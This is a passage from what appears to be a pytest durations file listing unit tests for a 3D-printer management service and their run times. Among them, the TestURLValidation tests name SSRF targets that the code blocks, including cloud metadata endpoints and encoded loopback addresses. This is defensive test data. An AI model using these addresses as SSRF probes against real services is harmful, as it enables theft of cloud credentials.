0.002968795597553253, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_awaiting_plate_clear_defaults_false": 0.0029488466680049896, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_awaiting_plate_clear_surfaced_when_set": 0.002949528396129608, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_bare_tray_emulates_state_9": 0.002988811582326889, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_basic_conversion": 0.0031040366739034653, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_chamber_temp_filtered_for_a1": 0.002999844029545784, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_chamber_temp_filtered_for_p1s": 0.002871100790798664, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_chamber_temp_kept_for_x1c": 0.0028693675994873047, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_chamber_temp_kept_when_no_model": 0.005663876421749592, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_cover_url_added_for_running_print": 0.002915595658123493, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_cover_url_none_when_not_running": 0.005536017008125782, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_current_plate_id_extracted_from_gcode_file": 0.002936714328825474, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_current_plate_id_none_when_no_plate_segment": 0.002953244373202324, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_empty_tag_uid_becomes_none": 0.005764887668192387, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_exists_bit_is_serialized_for_websocket": 0.00295303575694561, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_extruder_slots_are_empty_when_unreported": 0.003190450370311737, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_extruder_slots_ride_the_websocket": 0.002973361872136593, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_fila_switch_and_inlets_ride_the_websocket": 0.004892640747129917, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_hms_errors_conversion": 0.003120838664472103, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_inlets_are_dropped_without_a_switch": 0.0024280408397316933, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_model_absent_when_arg_is_none": 0.0055635180324316025, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_name_and_model_absent_when_no_printer_id": 0.0030040601268410683, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_name_and_model_surfaced_when_registered": 0.0028941240161657333, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_populated_payload_with_empty_state_3_is_not_promoted": 0.0029899338260293007, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_regular_ams_detection": 0.003351672552525997, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_vt_tray_dict_normalized_to_list": 0.0056121982634067535, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_vt_tray_non_list_non_dict_ignored": 0.002936643548309803, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_vt_tray_parsing": 0.0029330169782042503, + "unit/services/test_printer_manager.py::TestPrinterStateToDict::test_zero_tag_uid_becomes_none": 0.002986174076795578, + "unit/services/test_printer_manager.py::TestResolvePlateId::test_dispatched_ignored_when_subtask_differs": 0.0008545611053705215, + "unit/services/test_printer_manager.py::TestResolvePlateId::test_dispatched_plate_wins_when_subtask_matches": 0.000894215889275074, + "unit/services/test_printer_manager.py::TestResolvePlateId::test_dispatched_subtask_required_to_avoid_false_match": 0.000852326862514019, + "unit/services/test_printer_manager.py::TestResolvePlateId::test_falls_back_to_gcode_regex_without_dispatch": 0.0008538011461496353, + "unit/services/test_printer_manager.py::TestResolvePlateId::test_returns_none_when_nothing_resolvable": 0.0008468469604849815, + "unit/services/test_printer_manager.py::TestStatusKeyDryingDedup::test_dry_time_change_changes_status_key": 0.0032558124512434006, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_a1_series_not_supported": 0.0009868396446108818, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_case_insensitive": 0.0009773429483175278, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_h2_series_supported": 0.0009897323325276375, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_internal_model_codes_not_supported": 0.0009866496548056602, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_internal_model_codes_supported": 0.0009797466918826103, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_none_model_not_supported": 0.0009786728769540787, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_p1_series_not_supported": 0.0009830128401517868, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_p2_series_supported": 0.0009759888052940369, + "unit/services/test_printer_manager.py::TestSupportsChamberTemp::test_x1_series_supported": 0.0009790249168872833, + "unit/services/test_printer_manager.py::TestSupportsDrying::test_case_insensitive": 0.0009669708088040352, + "unit/services/test_printer_manager.py::TestSupportsDrying::test_known_supported_no_firmware": 0.000965408980846405, + "unit/services/test_printer_manager.py::TestSupportsDrying::test_known_supported_old_firmware": 0.0009610429406166077, + "unit/services/test_printer_manager.py::TestSupportsDrying::test_known_supported_with_firmware": 0.0009719403460621834, + "unit/services/test_printer_manager.py::TestSupportsDrying::test_none_model": 0.000966191291809082, + "unit/services/test_printer_manager.py::TestSupportsDrying::test_unknown_models_allowed": 0.0009879497811198235, + "unit/services/test_printer_manager.py::TestSupportsDrying::test_unsupported_models": 0.000989624299108982, + "unit/services/test_printer_manager.py::TestSupportsDryingWhilePrinting::test_case_insensitive": 0.0010019578039646149, + "unit/services/test_printer_manager.py::TestSupportsDryingWhilePrinting::test_known_supported_below_min_firmware": 0.0009690085425972939, + "unit/services/test_printer_manager.py::TestSupportsDryingWhilePrinting::test_known_supported_with_firmware": 0.0009908173233270645, + "unit/services/test_printer_manager.py::TestSupportsDryingWhilePrinting::test_no_firmware_returns_false": 0.0009903069585561752, + "unit/services/test_printer_manager.py::TestSupportsDryingWhilePrinting::test_none_model_returns_false": 0.0009872103109955788, + "unit/services/test_printer_manager.py::TestSupportsDryingWhilePrinting::test_not_in_matrix_excluded": 0.0009938739240169525, + "unit/services/test_printer_manager.py::TestSupportsDryingWhilePrinting::test_unknown_model_returns_false": 0.0009918306022882462, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_a_dispatch_without_a_url_leaves_the_last_one_alone": 0.0010342495515942574, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_a_non_string_url_is_ignored[12345]": 0.0009866990149021149, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_a_non_string_url_is_ignored[None]": 0.0010231863707304, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_a_non_string_url_is_ignored[]": 0.0009932313114404678, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_a_non_string_url_is_ignored[url3]": 0.0009778821840882301, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_a_non_string_url_is_ignored[url4]": 0.000978413037955761, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_an_internal_storage_dispatch_is_recorded": 0.0010140817612409592, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_nothing_is_claimed_before_a_dispatch_is_seen": 0.0009132623672485352, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_other_commands_do_not_touch_it": 0.000936596654355526, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_our_own_dispatch_is_recorded_too": 0.0009563937783241272, + "unit/services/test_project_url_capture_2780.py::TestProjectUrlCapture::test_the_latest_dispatch_wins": 0.0009918306022882462, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_a_frame_carrying_the_field_marks_it_reported": 0.0009037340059876442, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_a_frame_without_the_field_does_not": 0.00087786465883255, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_nothing_is_claimed_before_a_status_frame": 0.0008738478645682335, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[-False]": 0.0009400621056556702, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[0-False]": 0.0009310850873589516, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[1-True]": 0.0009414749220013618, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[False-False]": 0.0009368360042572021, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[HAS_SDCARD_ABNORMAL-True]": 0.0009313151240348816, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[HAS_SDCARD_NORMAL-True]": 0.0009393384680151939, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[True-True]": 0.0009532654657959938, + "unit/services/test_project_url_capture_2780.py::TestSdcardReported::test_the_reported_flag_is_set_for_every_accepted_shape[normal-True]": 0.0009457636624574661, + "unit/services/test_project_url_capture_2780.py::TestTheTwoFieldsHaveDifferentLifetimes::test_a_dispatch_sets_both": 0.0009483974426984787, + "unit/services/test_project_url_capture_2780.py::TestTheTwoFieldsHaveDifferentLifetimes::test_an_aborted_print_clears_it_too": 0.0010110540315508842, + "unit/services/test_project_url_capture_2780.py::TestTheTwoFieldsHaveDifferentLifetimes::test_finishing_a_print_clears_only_the_per_print_one": 0.0010248618200421333, + "unit/services/test_project_url_capture_2780.py::TestTheTwoFieldsHaveDifferentLifetimes::test_the_regression_sequence_end_to_end": 0.0010522231459617615, + "unit/services/test_rest_smart_plug.py::TestExtractJsonPath::test_empty_path": 0.000872335396707058, + "unit/services/test_rest_smart_plug.py::TestExtractJsonPath::test_missing_path": 0.000896950252354145, + "unit/services/test_rest_smart_plug.py::TestExtractJsonPath::test_nested_path": 0.0008908901363611221, + "unit/services/test_rest_smart_plug.py::TestExtractJsonPath::test_none_path": 0.0008999770507216454, + "unit/services/test_rest_smart_plug.py::TestExtractJsonPath::test_simple_path": 0.0008797487244009972, + "unit/services/test_rest_smart_plug.py::TestGetEnergy::test_energy_with_paths": 0.0017048660665750504, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_a_plug_reporting_both_counters_keeps_them_apart": 0.0015207305550575256, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_both_counters_share_one_fetch": 0.0015337541699409485, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_energy_deduplicates_same_url": 0.0049466416239738464, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_energy_no_paths": 0.0012681372463703156, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_energy_no_status_url_no_separate_urls": 0.001489892601966858, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_energy_no_urls_at_all": 0.0012853601947426796, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_energy_separate_url_falls_back_to_status": 0.001506543718278408, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_energy_with_multipliers": 0.0015022149309515953, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_energy_with_separate_urls": 0.0016132928431034088, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_lifetime_counter_lands_in_total_not_today": 0.0017471862956881523, + "unit/services/test_rest_smart_plug.py::TestGetEnergyLifetimeCounter::test_total_path_alone_is_enough_to_read_energy": 0.0015393039211630821, + "unit/services/test_rest_smart_plug.py::TestGetStatus::test_status_no_url": 0.001262306235730648, + "unit/services/test_rest_smart_plug.py::TestGetStatus::test_status_off": 0.0014938907697796822, + "unit/services/test_rest_smart_plug.py::TestGetStatus::test_status_on": 0.0015141284093260765, + "unit/services/test_rest_smart_plug.py::TestGetStatus::test_status_unreachable": 0.0013786852359771729, + "unit/services/test_rest_smart_plug.py::TestParseHeaders::test_empty_string": 0.0008715540170669556, + "unit/services/test_rest_smart_plug.py::TestParseHeaders::test_invalid_json": 0.0009529050439596176, + "unit/services/test_rest_smart_plug.py::TestParseHeaders::test_none_headers": 0.0008762525394558907, + "unit/services/test_rest_smart_plug.py::TestParseHeaders::test_valid_json": 0.0008733971044421196, + "unit/services/test_rest_smart_plug.py::TestTestConnection::test_connection_invalid_url": 0.001196000725030899, + "unit/services/test_rest_smart_plug.py::TestTestConnection::test_connection_success": 0.001826634630560875, + "unit/services/test_rest_smart_plug.py::TestTestConnection::test_connection_timeout": 0.001621169038116932, + "unit/services/test_rest_smart_plug.py::TestTurnOff::test_turn_off_no_url": 0.0013418644666671753, + "unit/services/test_rest_smart_plug.py::TestTurnOff::test_turn_off_success": 0.0015079844743013382, + "unit/services/test_rest_smart_plug.py::TestTurnOn::test_turn_on_failure": 0.0016945479437708855, + "unit/services/test_rest_smart_plug.py::TestTurnOn::test_turn_on_no_url": 0.0012833252549171448, + "unit/services/test_rest_smart_plug.py::TestTurnOn::test_turn_on_success": 0.0016759317368268967, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_empty_hostname": 0.0008979244157671928, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_hostname_url": 0.0010093515738844872, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_link_local_allowed": 0.0008993260562419891, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_loopback_allowed": 0.0008977120742201805, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_metadata_and_encoded_targets_blocked[http://0.0.0.0/]": 0.0009188307449221611, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_metadata_and_encoded_targets_blocked[http://100.100.100.200/]": 0.0009370855987071991, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_metadata_and_encoded_targets_blocked[http://169.254.169.254/latest/meta-data/]": 0.0009222067892551422, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_metadata_and_encoded_targets_blocked[http://2130706433/]": 0.0009113997220993042, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_metadata_and_encoded_targets_blocked[http://[::ffff:169.254.169.254]/]": 0.0009517651051282883, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_metadata_and_encoded_targets_blocked[http://[fd00:ec2::254]/]": 0.0009560221806168556, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_metadata_and_encoded_targets_blocked[http://metadata.google.internal/]": 0.0009187022224068642, + "unit/services/test_rest_smart_plug.py::TestURLValidation::test_valid_ip_url": 0.0009064804762601852, + "unit/services/test_slice_dispatch_progress.py::test_set_progress_attaches_snapshot_to_running_job": 0.0011908942833542824, + "unit/services/test_slice_dispatch_progress.py::test_set_progress_can_clear_to_none": 0.0011670375242829323, + "unit/services/test_slice_dispatch_progress.py::test_set_progress_silently_ignores_unknown_job_id": 0.001133795827627182, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_3mf_without_embedded_settings": 0.0012317495420575142, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_blanks_the_matching_field_despite_the_spelling_difference": 0.0016755005344748497, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_keeps_every_other_archive_member": 0.0017228694632649422, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_no_match_no_retry": 0.0012712525203824043, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_no_retry_when_the_field_is_already_empty": 0.0012765834107995033, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_non_3mf_input_is_not_a_crash": 0.000988071784377098, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_only_gcode_keys_are_eligible": 0.0012927837669849396, + "unit/services/test_slice_preview.py::TestBlankCustomGcode::test_preserves_a_list_valued_template": 0.0015481207519769669, + "unit/services/test_slice_preview.py::TestGetPreviewFilaments::test_concurrent_calls_share_one_slice": 0.05211571138352156, + "unit/services/test_slice_preview.py::TestGetPreviewFilaments::test_different_content_hash_misses_cache": 0.0013654585927724838, + "unit/services/test_slice_preview.py::TestGetPreviewFilaments::test_happy_path_caches_result": 0.0013313954696059227, + "unit/services/test_slice_preview.py::TestGetPreviewFilaments::test_lru_eviction_drops_lock": 0.018291184678673744, + "unit/services/test_slice_preview.py::TestGetPreviewFilaments::test_sidecar_unavailable_returns_none_no_cache": 0.0013287924230098724, + "unit/services/test_slice_preview.py::TestParseFilamentsFromSliced3mf::test_corrupt_zip_returns_none": 0.0009250929579138756, + "unit/services/test_slice_preview.py::TestParseFilamentsFromSliced3mf::test_happy_path": 0.0011625885963439941, + "unit/services/test_slice_preview.py::TestParseFilamentsFromSliced3mf::test_missing_slice_info_returns_none": 0.0009715305641293526, + "unit/services/test_slice_preview.py::TestParseFilamentsFromSliced3mf::test_plate_not_in_slice_info_returns_none": 0.0010288292542099953, + "unit/services/test_slice_preview.py::TestPreviewRetriesUnparsableGcode::test_a_failing_retry_falls_through_rather_than_raising": 0.0019535310566425323, + "unit/services/test_slice_preview.py::TestPreviewRetriesUnparsableGcode::test_no_retry_for_an_unrelated_failure": 0.001776169054210186, + "unit/services/test_slice_preview.py::TestPreviewRetriesUnparsableGcode::test_result_is_cached_under_the_original_file_hash": 0.0021776827052235603, + "unit/services/test_slice_preview.py::TestPreviewRetriesUnparsableGcode::test_retries_once_with_the_template_blanked": 0.002508130855858326, + "unit/services/test_slice_preview.py::TestUnparsableGcodeOption::test_names_the_field_the_slicer_choked_on": 0.0018170159310102463, + "unit/services/test_slice_preview.py::TestUnparsableGcodeOption::test_refuses_a_field_that_extrudes": 0.0013724220916628838, + "unit/services/test_slice_preview.py::TestUnparsableGcodeOption::test_unrelated_failure_is_not_a_gcode_problem": 0.0015056217089295387, + "unit/services/test_slicer_3mf_convert.py::TestCountPlatesIn3mf::test_counts_plater_id_entries": 0.0010813558474183083, + "unit/services/test_slicer_3mf_convert.py::TestCountPlatesIn3mf::test_returns_zero_for_no_model_settings": 0.0009499713778495789, + "unit/services/test_slicer_3mf_convert.py::TestCountPlatesIn3mf::test_returns_zero_for_non_zip": 0.0009023193269968033, + "unit/services/test_slicer_3mf_convert.py::TestCountPlatesIn3mf::test_returns_zero_when_no_plate_ids": 0.0009629940614104271, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_dual_nozzle_check_works_on_extracted_code": 0.0010703345760703087, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_canonical_short_code_for_h2d": 0.0012479079887270927, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_canonical_short_code_for_x1c": 0.00169377401471138, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_none_for_malformed_json": 0.0009900452569127083, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_none_for_non_zip_bytes": 0.0009406832978129387, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_none_when_config_is_list_not_dict": 0.0011993376538157463, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_none_when_field_empty": 0.0009805476292967796, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_none_when_field_missing": 0.0013968301936984062, + "unit/services/test_slicer_3mf_convert.py::TestExtractSourcePrinterModel::test_returns_none_when_no_embedded_config": 0.0010469025000929832, + "unit/services/test_slicer_3mf_convert.py::TestMergePlate3mfs::test_combined_slice_info_lists_every_plate": 0.0023852111771702766, + "unit/services/test_slicer_3mf_convert.py::TestMergePlate3mfs::test_empty_input_raises": 0.0009119585156440735, + "unit/services/test_slicer_3mf_convert.py::TestMergePlate3mfs::test_falls_back_to_source_thumbnails_when_sliced_outputs_lack_them": 0.0019161412492394447, + "unit/services/test_slicer_3mf_convert.py::TestMergePlate3mfs::test_overlays_per_plate_artifacts": 0.0023387838155031204, + "unit/services/test_slicer_3mf_convert.py::TestMergePlate3mfs::test_single_plate_is_passthrough": 0.0010983990505337715, + "unit/services/test_slicer_3mf_convert.py::TestMergePlate3mfs::test_source_fallback_does_not_overwrite_fresh_sliced_thumbnails": 0.0021088523790240288, + "unit/services/test_slicer_3mf_convert.py::TestMergePlate3mfs::test_unsorted_input_is_sorted_by_plate_number": 0.0019644424319267273, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_anchor_is_the_lowest_used_slot_not_merely_a_used_one": 0.0011506974697113037, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_negative_plate_id_is_a_no_op": 0.0009488798677921295, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_no_op_for_the_slice_all_sentinel": 0.0009617321193218231, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_no_op_when_every_used_slot_is_outside_the_submitted_list": 0.0010685427114367485, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_no_op_when_no_model_settings": 0.000985858030617237, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_no_op_when_plate_id_is_none": 0.0009234407916665077, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_no_op_when_single_filament": 0.0009169280529022217, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_no_op_when_source_not_zip": 0.0012033553794026375, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_no_substitution_when_all_used": 0.0011564269661903381, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_slice_all_is_not_collapsed_onto_the_support_filament": 0.0009929314255714417, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_substitutes_from_first_used_slot_when_slot_1_is_unused": 0.0011485330760478973, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_substitutes_unused_slot_with_slot_1": 0.0013136034831404686, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_support_disabled_still_substitutes_unused": 0.0011986661702394485, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_support_material_slot_preserved": 0.001201852224767208, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_support_slot_can_be_the_anchor": 0.00119758490473032, + "unit/services/test_slicer_3mf_convert.py::TestSubstituteUnusedPlateFilaments::test_unused_slot_1_does_not_poison_the_other_unused_slots": 0.0011270521208643913, + "unit/services/test_slicer_api.py::TestGuessModelContentType::test_3mf": 0.0009102150797843933, + "unit/services/test_slicer_api.py::TestGuessModelContentType::test_3mf_uppercase": 0.0009024925529956818, + "unit/services/test_slicer_api.py::TestGuessModelContentType::test_step": 0.0008889250457286835, + "unit/services/test_slicer_api.py::TestGuessModelContentType::test_stl": 0.0009151855483651161, + "unit/services/test_slicer_api.py::TestGuessModelContentType::test_stp": 0.0009062774479389191, + "unit/services/test_slicer_api.py::TestGuessModelContentType::test_unknown": 0.000942455604672432, + "unit/services/test_slicer_api.py::TestHealth::test_health_returns_body": 0.0013929018750786781, + "unit/services/test_slicer_api.py::TestHealth::test_health_unreachable_raises": 0.0013349810615181923, + "unit/services/test_slicer_api.py::TestSliceOutputValidation::test_413_gives_actionable_reverse_proxy_message": 0.001575252041220665, + "unit/services/test_slicer_api.py::TestSliceOutputValidation::test_export_3mf_accepts_valid_zip_body": 0.0016472991555929184, + "unit/services/test_slicer_api.py::TestSliceOutputValidation::test_export_3mf_rejects_non_zip_200_body": 0.001589648425579071, + "unit/services/test_slicer_api.py::TestSliceOutputValidation::test_raw_gcode_body_not_zip_validated": 0.0015300251543521881, + "unit/services/test_slicer_api.py::TestSliceOutputValidation::test_without_profiles_also_rejects_non_zip_200_body": 0.001546206884086132, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_4xx_raises_slicer_input_error": 0.0016615446656942368, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_5xx_includes_sidecar_details_field": 0.0015102708712220192, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_5xx_raises_server_error": 0.001543443650007248, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_5xx_with_non_json_body_falls_back_to_text": 0.0020097875967621803, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_5xx_with_only_details_still_surfaces": 0.0014849044382572174, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_arrange_false_omits_form_field": 0.001491284929215908, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_arrange_true_emits_form_field": 0.0015012556686997414, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_connection_error_raises_unavailable": 0.0014847638085484505, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_happy_path_returns_gcode_and_metadata": 0.002009286545217037, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_missing_metadata_headers_default_to_zero": 0.0016084546223282814, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_multi_filament_sends_one_part_per_profile": 0.002308555878698826, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_orient_false_omits_form_field": 0.0015003513544797897, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_orient_true_emits_form_field": 0.001491115428507328, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_passes_plate_and_export_3mf_options": 0.0016142865642905235, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_profileless_slice_defaults_omit_layout_flags": 0.001504429616034031, + "unit/services/test_slicer_api.py::TestSliceWithProfiles::test_profileless_slice_forwards_both_layout_flags": 0.0015224441885948181, + "unit/services/test_slicer_api.py::TestSliceWithProfilesProgress::test_on_progress_called_with_snapshots": 0.052429547533392906, + "unit/services/test_slicer_api.py::TestSliceWithProfilesProgress::test_progress_404_does_not_crash_or_stop_polling": 0.0026712752878665924, + "unit/services/test_slicer_api.py::TestSliceWithProfilesProgress::test_request_id_forwarded_as_form_field": 0.0017919903621077538, + "unit/services/test_slicer_filament_resolver.py::TestThePresetsOwnType::test_a_bare_string_filament_type_is_accepted_too": 0.0019603846594691277, + "unit/services/test_slicer_filament_resolver.py::TestThePresetsOwnType::test_a_cloud_presets_type_is_read_out_of_its_profile": 0.0017149755731225014, + "unit/services/test_slicer_filament_resolver.py::TestThePresetsOwnType::test_a_local_presets_type_is_returned": 0.0017726821824908257, + "unit/services/test_slicer_filament_resolver.py::TestThePresetsOwnType::test_a_preset_that_does_not_say_gets_no_opinion": 0.0016567548736929893, + "unit/services/test_slicer_filament_resolver.py::TestThePresetsOwnType::test_no_preset_means_no_answer": 0.001261555589735508, + "unit/services/test_slicer_filament_resolver.py::test_gfs_cloud_unavailable_resolves_via_normalize": 0.0014137793332338333, + "unit/services/test_slicer_filament_resolver.py::test_literal_material_name_clears_both": 0.0013779308646917343, + "unit/services/test_slicer_filament_resolver.py::test_pfcn_cloud_unavailable_preserves_setting_id": 0.001821843907237053, + "unit/services/test_slicer_filament_resolver.py::test_pfus_cloud_resolves_filament_id_regression_guard": 0.0027772262692451477, + "unit/services/test_slicer_filament_resolver.py::test_pfus_cloud_unavailable_preserves_setting_id": 0.0020030448213219643, + "unit/services/test_slot_preset_writer.py::test_spoolman_helper_falls_back_to_material_when_name_missing": 0.18671355675905943, + "unit/services/test_slot_preset_writer.py::test_spoolman_helper_overwrites_stale_internal_row": 0.18407305795699358, + "unit/services/test_slot_preset_writer.py::test_spoolman_helper_skips_when_tray_info_idx_unknown": 0.18427310325205326, + "unit/services/test_slot_preset_writer.py::test_spoolman_helper_uses_filament_name_and_tray_info_idx": 0.1904368046671152, + "unit/services/test_slot_preset_writer.py::test_upsert_inserts_then_updates": 0.18924202676862478, + "unit/services/test_slot_preset_writer.py::test_upsert_no_op_when_preset_id_empty": 0.17869652900844812, + "unit/services/test_smart_plug_manager.py::TestAccessoryPlugDoesNotMarkPrinterOffline::test_delayed_off_skips_offline_mark_for_accessory": 0.001892145723104477, + "unit/services/test_smart_plug_manager.py::TestAccessoryPlugDoesNotMarkPrinterOffline::test_scheduled_off_skips_offline_mark_for_accessory": 0.002946184016764164, + "unit/services/test_smart_plug_manager.py::TestAccessoryPlugDoesNotMarkPrinterOffline::test_scheduled_off_still_marks_offline_for_power_plug": 0.0029540471732616425, + "unit/services/test_smart_plug_manager.py::TestAccessoryPlugDoesNotMarkPrinterOffline::test_schedulers_forward_the_flag": 0.0018838699907064438, + "unit/services/test_smart_plug_manager.py::TestAccessoryPlugDoesNotMarkPrinterOffline::test_temp_based_off_skips_offline_mark_for_accessory": 0.0023581385612487793, + "unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_delayed_off_powers_off_when_idle": 0.0019215503707528114, + "unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_delayed_off_skips_when_printer_printing_again": 0.001988988369703293, + "unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_queue_off_skips_disabled_and_ha_script_plugs": 0.0017157038673758507, + "unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_queue_off_uses_configured_temp_threshold": 0.001927652396261692, + "unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_queue_off_uses_time_mode_regardless_of_global_auto_off": 0.0017222566530108452, + "unit/services/test_smart_plug_manager.py::TestActivePrintGuard::test_reprint_cancels_pending_off_even_when_auto_on_disabled": 0.0022611571475863457, + 